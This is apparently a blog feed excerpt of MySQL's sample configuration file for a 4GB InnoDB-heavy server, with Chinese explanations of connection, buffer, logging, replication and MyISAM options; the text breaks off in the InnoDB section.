# 需要在MySQL客户端库初始化的时候指定这些选项</p>
<p>#
[client]
#password = [your_password]
port = @MYSQL_TCP_PORT@
socket = @MYSQL_UNIX_ADDR@</p>
<p># *** 应用定制选项 ***</p>
<p>#
#  MySQL 服务端
#
[mysqld]</p>
<p># 一般配置选项
port = @MYSQL_TCP_PORT@
socket = @MYSQL_UNIX_ADDR@</p>
<p># back_log 是操作系统在监听队列中所能保持的连接数,
# 队列保存了在MySQL连接管理器线程处理之前的连接.
# 如果你有非常高的连接率并且出现&#8221;connection [...]]]></description>
			<content:encoded><![CDATA[<p>#BEGIN CONFIG INFO<br />
#DESCR: 4GB RAM, 只使用InnoDB, ACID, 少量的连接, 队列负载大<br />
#TYPE: SYSTEM<br />
#END CONFIG INFO</p>
<p>#<br />
# 此mysql配置文件例子针对4G内存<br />
# 主要使用INNODB<br />
#处理复杂队列并且连接数量较少的mysql服务器<br />
#<br />
# 将此文件复制到/etc/my.cnf 作为全局设置,<br />
# mysql-data-dir/my.cnf 作为服务器指定设置<br />
# (@localstatedir@ for this installation) 或者放入<br />
# ~/.my.cnf 作为用户设置.<br />
#<br />
# 在此配置文件中, 你可以使用所有程序支持的长选项.<br />
# 如果想获悉程序支持的所有选项<br />
# 请在程序后加上&#8221;&#8211;help&#8221;参数运行程序.<br />
#<br />
# 关于独立选项更多的细节信息可以在手册内找到<br />
#</p>
<p>#<br />
# 以下选项会被MySQL客户端应用读取.<br />
# 注意只有MySQL附带的客户端应用程序保证可以读取这段内容.<br />
# 如果你想你自己的MySQL应用程序获取这些值<br />
# 需要在MySQL客户端库初始化的时候指定这些选项</p>
<p>#<br />
[client]<br />
#password = [your_password]<br />
port = @MYSQL_TCP_PORT@<br />
socket = @MYSQL_UNIX_ADDR@</p>
<p># *** 应用定制选项 ***</p>
<p>#<br />
#  MySQL 服务端<br />
#<br />
[mysqld]</p>
<p># 一般配置选项<br />
port = @MYSQL_TCP_PORT@<br />
socket = @MYSQL_UNIX_ADDR@</p>
<p># back_log 是操作系统在监听队列中所能保持的连接数,<br />
# 队列保存了在MySQL连接管理器线程处理之前的连接.<br />
# 如果你有非常高的连接率并且出现&#8221;connection refused&#8221; 报错,<br />
# 你就应该增加此处的值.<br />
# 检查你的操作系统文档来获取这个变量的最大值.<br />
# 如果将back_log设定到比你操作系统限制更高的值,将会没有效果<br />
back_log = 50<br />
<span id="more-1342"></span><br />
# 不在TCP/IP端口上进行监听.<br />
# 如果所有的进程都是在同一台服务器连接到本地的mysqld,<br />
# 这样设置将是增强安全的方法<br />
# 所有mysqld的连接都是通过Unix sockets 或者命名管道进行的.<br />
# 注意在windows下如果没有打开命名管道选项而只是用此项<br />
# (通过 &#8220;enable-named-pipe&#8221; 选项) 将会导致mysql服务没有任何作用!<br />
#skip-networking</p>
<p># MySQL 服务所允许的同时会话数的上限<br />
# 其中一个连接将被SUPER权限保留作为管理员登录.<br />
# 即便已经达到了连接数的上限.<br />
max_connections = 100</p>
<p># 每个客户端连接最大的错误允许数量,如果达到了此限制.<br />
# 这个客户端将会被MySQL服务阻止直到执行了&#8221;FLUSH HOSTS&#8221; 或者服务重启<br />
# 非法的密码以及其他在链接时的错误会增加此值.<br />
# 查看 &#8220;Aborted_connects&#8221; 状态来获取全局计数器.<br />
max_connect_errors = 10</p>
<p># 所有线程所打开表的数量.<br />
# 增加此值就增加了mysqld所需要的文件描述符的数量<br />
# 这样你需要确认在[mysqld_safe]中 &#8220;open-files-limit&#8221; 变量设置打开文件数量允许至少4096<br />
table_cache = 2048</p>
<p># 允许外部文件级别的锁. 打开文件锁会对性能造成负面影响<br />
# 所以只有在你在同样的文件上运行多个数据库实例时才使用此选项(注意仍会有其他约束!)<br />
# 或者你在文件层面上使用了其他一些软件依赖来锁定MyISAM表<br />
#external-locking</p>
<p># 服务所能处理的请求包的最大大小以及服务所能处理的最大的请求大小(当与大的BLOB字段一起工作时相当必要)<br />
# 每个连接独立的大小.大小动态增加<br />
max_allowed_packet = 16M</p>
<p># 在一个事务中binlog为了记录SQL状态所持有的cache大小<br />
# 如果你经常使用大的,多声明的事务,你可以增加此值来获取更大的性能.<br />
# 所有从事务来的状态都将被缓冲在binlog缓冲中然后在提交后一次性写入到binlog中<br />
# 如果事务比此值大, 会使用磁盘上的临时文件来替代.<br />
# 此缓冲在每个连接的事务第一次更新状态时被创建<br />
binlog_cache_size = 1M</p>
<p># 独立的内存表所允许的最大容量.<br />
# 此选项为了防止意外创建一个超大的内存表导致永尽所有的内存资源.<br />
max_heap_table_size = 64M</p>
<p># 排序缓冲被用来处理类似ORDER BY以及GROUP BY队列所引起的排序<br />
# 如果排序后的数据无法放入排序缓冲,<br />
# 一个用来替代的基于磁盘的合并分类会被使用<br />
# 查看 &#8220;Sort_merge_passes&#8221; 状态变量.<br />
# 在排序发生时由每个线程分配<br />
sort_buffer_size = 8M</p>
<p># 此缓冲被使用来优化全联合(full JOINs 不带索引的联合).<br />
# 类似的联合在极大多数情况下有非常糟糕的性能表现,<br />
# 但是将此值设大能够减轻性能影响.<br />
# 通过 &#8220;Select_full_join&#8221; 状态变量查看全联合的数量<br />
# 当全联合发生时,在每个线程中分配<br />
join_buffer_size = 8M</p>
<p># 我们在cache中保留多少线程用于重用<br />
# 当一个客户端断开连接后,如果cache中的线程还少于thread_cache_size,<br />
# 则客户端线程被放入cache中.<br />
# 这可以在你需要大量新连接的时候极大的减少线程创建的开销<br />
# (一般来说如果你有好的线程模型的话,这不会有明显的性能提升.)<br />
thread_cache_size = 8</p>
<p># 此允许应用程序给予线程系统一个提示在同一时间给予渴望被运行的线程的数量.<br />
# 此值只对于支持 thread_concurrency() 函数的系统有意义( 例如Sun Solaris).<br />
# 你可可以尝试使用 [CPU数量]*(2..4) 来作为thread_concurrency的值<br />
thread_concurrency = 8</p>
<p># 查询缓冲常被用来缓冲 SELECT 的结果并且在下一次同样查询的时候不再执行直接返回结果.<br />
# 打开查询缓冲可以极大的提高服务器速度, 如果你有大量的相同的查询并且很少修改表.<br />
# 查看 &#8220;Qcache_lowmem_prunes&#8221; 状态变量来检查是否当前值对于你的负载来说是否足够高.<br />
# 注意: 在你表经常变化的情况下或者如果你的查询原文每次都不同,<br />
# 查询缓冲也许引起性能下降而不是性能提升.<br />
query_cache_size = 64M</p>
<p># 只有小于此设定值的结果才会被缓冲<br />
# 此设置用来保护查询缓冲,防止一个极大的结果集将其他所有的查询结果都覆盖.<br />
query_cache_limit = 2M</p>
<p># 被全文检索索引的最小的字长.<br />
# 你也许希望减少它,如果你需要搜索更短字的时候.<br />
# 注意在你修改此值之后,<br />
# 你需要重建你的 FULLTEXT 索引<br />
ft_min_word_len = 4</p>
<p># 如果你的系统支持 memlock() 函数,你也许希望打开此选项用以让运行中的mysql在在内存高度紧张的时候,数据在内存中保持锁定并且防止可能被swapping out<br />
# 此选项对于性能有益<br />
#memlock</p>
<p># 当创建新表时作为默认使用的表类型,<br />
# 如果在创建表示没有特别执行表类型,将会使用此值<br />
default_table_type = MYISAM</p>
<p># 线程使用的堆大小. 此容量的内存在每次连接时被预留.<br />
# MySQL 本身常不会需要超过64K的内存<br />
# 如果你使用你自己的需要大量堆的UDF函数<br />
# 或者你的操作系统对于某些操作需要更多的堆,<br />
# 你也许需要将其设置的更高一点.<br />
thread_stack = 192K</p>
<p># 设定默认的事务隔离级别.可用的级别如下:<br />
# READ-UNCOMMITTED, READ-COMMITTED, REPEATABLE-READ, SERIALIZABLE<br />
transaction_isolation = REPEATABLE-READ</p>
<p># 内部(内存中)临时表的最大大小<br />
# 如果一个表增长到比此值更大,将会自动转换为基于磁盘的表.<br />
# 此限制是针对单个表的,而不是总和.<br />
tmp_table_size = 64M</p>
<p># 打开二进制日志功能.<br />
# 在复制(replication)配置中,作为MASTER主服务器必须打开此项<br />
# 如果你需要从你最后的备份中做基于时间点的恢复,你也同样需要二进制日志.<br />
log-bin=mysql-bin</p>
<p># 如果你在使用链式从服务器结构的复制模式 (A->B->C),<br />
# 你需要在服务器B上打开此项.<br />
# 此选项打开在从线程上重做过的更新的日志,<br />
# 并将其写入从服务器的二进制日志.<br />
#log_slave_updates</p>
<p># 打开全查询日志. 所有的由服务器接收到的查询 (甚至对于一个错误语法的查询)<br />
# 都会被记录下来. 这对于调试非常有用, 在生产环境中常常关闭此项.<br />
#log</p>
<p># 将警告打印输出到错误log文件.  如果你对于MySQL有任何问题<br />
# 你应该打开警告log并且仔细审查错误日志,查出可能的原因.<br />
#log_warnings</p>
<p># 记录慢速查询. 慢速查询是指消耗了比 &#8220;long_query_time&#8221; 定义的更多时间的查询.<br />
# 如果 log_long_format 被打开,那些没有使用索引的查询也会被记录.<br />
# 如果你经常增加新查询到已有的系统内的话. 一般来说这是一个好主意,<br />
log_slow_queries</p>
<p># 所有的使用了比这个时间(以秒为单位)更多的查询会被认为是慢速查询.<br />
# 不要在这里使用&#8221;1&#8243;, 否则会导致所有的查询,甚至非常快的查询页被记录下来(由于MySQL 目前时间的精确度只能达到秒的级别).<br />
long_query_time = 2</p>
<p># 在慢速日志中记录更多的信息.<br />
# 一般此项最好打开.<br />
# 打开此项会记录使得那些没有使用索引的查询也被作为到慢速查询附加到慢速日志里<br />
log_long_format</p>
<p># 此目录被MySQL用来保存临时文件.例如,<br />
# 它被用来处理基于磁盘的大型排序,和内部排序一样.<br />
# 以及简单的临时表.<br />
# 如果你不创建非常大的临时文件,将其放置到 swapfs/tmpfs 文件系统上也许比较好<br />
# 另一种选择是你也可以将其放置在独立的磁盘上.<br />
# 你可以使用&#8221;;&#8221;来放置多个路径<br />
# 他们会按照roud-robin方法被轮询使用.<br />
#tmpdir = /tmp</p>
<p># ***  复制有关的设置</p>
<p># 唯一的服务辨识号,数值位于 1 到 2^32-1之间.<br />
# 此值在master和slave上都需要设置.<br />
# 如果 &#8220;master-host&#8221; 没有被设置,则默认为1, 但是如果忽略此选项,MySQL不会作为master生效.<br />
server-id = 1</p>
<p># 复制的Slave (去掉master段的注释来使其生效)<br />
#<br />
# 为了配置此主机作为复制的slave服务器,你可以选择两种方法:<br />
#<br />
# 1) 使用 CHANGE MASTER TO 命令 (在我们的手册中有完整描述) -<br />
#    语法如下:<br />
#<br />
#    CHANGE MASTER TO MASTER_HOST=<host>, MASTER_PORT=
<port>,<br />
#    MASTER_USER=<user>, MASTER_PASSWORD=
<password> ;<br />
#<br />
#    你需要替换掉 <host>, <user>,
<password> 等被尖括号包围的字段以及使用master的端口号替换
<port> (默认3306).<br />
#<br />
#    例子:<br />
#<br />
#    CHANGE MASTER TO MASTER_HOST=&#8217;125.564.12.1&#8242;, MASTER_PORT=3306,<br />
#    MASTER_USER=&#8217;joe&#8217;, MASTER_PASSWORD=&#8217;secret&#8217;;<br />
#<br />
# 或者<br />
#<br />
# 2) 设置以下的变量. 不论如何, 在你选择这种方法的情况下, 然后第一次启动复制(甚至不成功的情况下,<br />
#     例如如果你输入错密码在master-password字段并且slave无法连接),<br />
#    slave会创建一个 master.info 文件,并且之后任何对于包含在此文件内的参数的变化都会被忽略<br />
#    并且由 master.info 文件内的内容覆盖, 除非你关闭slave服务, 删除 master.info 并且重启slave 服务.<br />
#    由于这个原因,你也许不想碰一下的配置(注释掉的) 并且使用 CHANGE MASTER TO (查看上面) 来代替<br />
#<br />
# 所需要的唯一id号位于 2 和 2^32 &#8211; 1之间<br />
# (并且和master不同)<br />
# 如果master-host被设置了.则默认值是2<br />
# 但是如果省略,则不会生效<br />
#server-id = 2<br />
#<br />
# 复制结构中的master &#8211; 必须<br />
#master-host = <hostname><br />
#<br />
# 当连接到master上时slave所用来认证的用户名 &#8211; 必须<br />
#master-user = <username><br />
#<br />
# 当连接到master上时slave所用来认证的密码 &#8211; 必须<br />
#master-password =
<password>
#<br />
# master监听的端口.<br />
# 可选 &#8211; 默认是3306<br />
#master-port =
<port>
<p># 使得slave只读.只有用户拥有SUPER权限和在上面的slave线程能够修改数据.<br />
# 你可以使用此项去保证没有应用程序会意外的修改slave而不是master上的数据<br />
#read_only</p>
<p>#*** MyISAM 相关选项</p>
<p># 关键词缓冲的大小, 一般用来缓冲MyISAM表的索引块.<br />
# 不要将其设置大于你可用内存的30%,<br />
# 因为一部分内存同样被OS用来缓冲行数据<br />
# 甚至在你并不使用MyISAM 表的情况下, 你也需要仍旧设置起 8-64M 内存由于它同样会被内部临时磁盘表使用.<br />
key_buffer_size = 32M</p>
<p># 用来做MyISAM表全表扫描的缓冲大小.<br />
# 当全表扫描需要时,在对应线程中分配.<br />
read_buffer_size = 2M</p>
<p># 当在排序之后,从一个已经排序好的序列中读取行时,行数据将从这个缓冲中读取来防止磁盘寻道.<br />
# 如果你增高此值,可以提高很多ORDER BY的性能.<br />
# 当需要时由每个线程分配<br />
read_rnd_buffer_size = 16M</p>
<p># MyISAM 使用特殊的类似树的cache来使得突发插入<br />
# (这些插入是,INSERT &#8230; SELECT, INSERT &#8230; VALUES (&#8230;), (&#8230;), &#8230;, 以及 LOAD DATA<br />
# INFILE) 更快. 此变量限制每个进程中缓冲树的字节数.<br />
# 设置为 0 会关闭此优化.<br />
# 为了最优化不要将此值设置大于 &#8220;key_buffer_size&#8221;.<br />
# 当突发插入被检测到时此缓冲将被分配.<br />
bulk_insert_buffer_size = 64M</p>
<p># 此缓冲当MySQL需要在 REPAIR, OPTIMIZE, ALTER 以及 LOAD DATA INFILE 到一个空表中引起重建索引时被分配.<br />
# 这在每个线程中被分配.所以在设置大值时需要小心.<br />
myisam_sort_buffer_size = 128M</p>
<p># MySQL重建索引时所允许的最大临时文件的大小 (当 REPAIR, ALTER TABLE 或者 LOAD DATA INFILE).<br />
# 如果文件大小比此值更大,索引会通过键值缓冲创建(更慢)<br />
myisam_max_sort_file_size = 10G</p>
<p># 如果被用来更快的索引创建索引所使用临时文件大于制定的值,那就使用键值缓冲方法.<br />
# 这主要用来强制在大表中长字串键去使用慢速的键值缓冲方法来创建索引.<br />
myisam_max_extra_sort_file_size = 10G</p>
<p># 如果一个表拥有超过一个索引, MyISAM 可以通过并行排序使用超过一个线程去修复他们.<br />
# 这对于拥有多个CPU以及大量内存情况的用户,是一个很好的选择.<br />
myisam_repair_threads = 1</p>
<p># 自动检查和修复没有适当关闭的 MyISAM 表.<br />
myisam_recover</p>
<p># 默认关闭 Federated<br />
skip-federated</p>
<p># *** BDB 相关选项 ***</p>
<p># 如果你运行的MySQL服务有BDB支持但是你不准备使用的时候使用此选项. 这会节省内存并且可能加速一些事.<br />
skip-bdb</p>
<p># *** INNODB 相关选项 ***</p>
<p># 如果你的MySQL服务包含InnoDB支持但是并不打算使用的话,<br />
# 使用此选项会节省内存以及磁盘空间,并且加速某些部分<br />
#skip-innodb</p>
<p># 附加的内存池被InnoDB用来保存 metadata 信息<br />
# 如果InnoDB为此目的需要更多的内存,它会开始从OS这里申请内存.<br />
# 由于这个操作在大多数现代操作系统上已经足够快, 你一般不需要修改此值.<br />
# SHOW INNODB STATUS 命令会显示当先使用的数量.<br />
innodb_additional_mem_pool_size = 16M</p>
<p># InnoDB使用一个缓冲池来保存索引和原始数据, 不像 MyISAM.<br />
# 这里你设置越大,你在存取表里面数据时所需要的磁盘I/O越少.<br 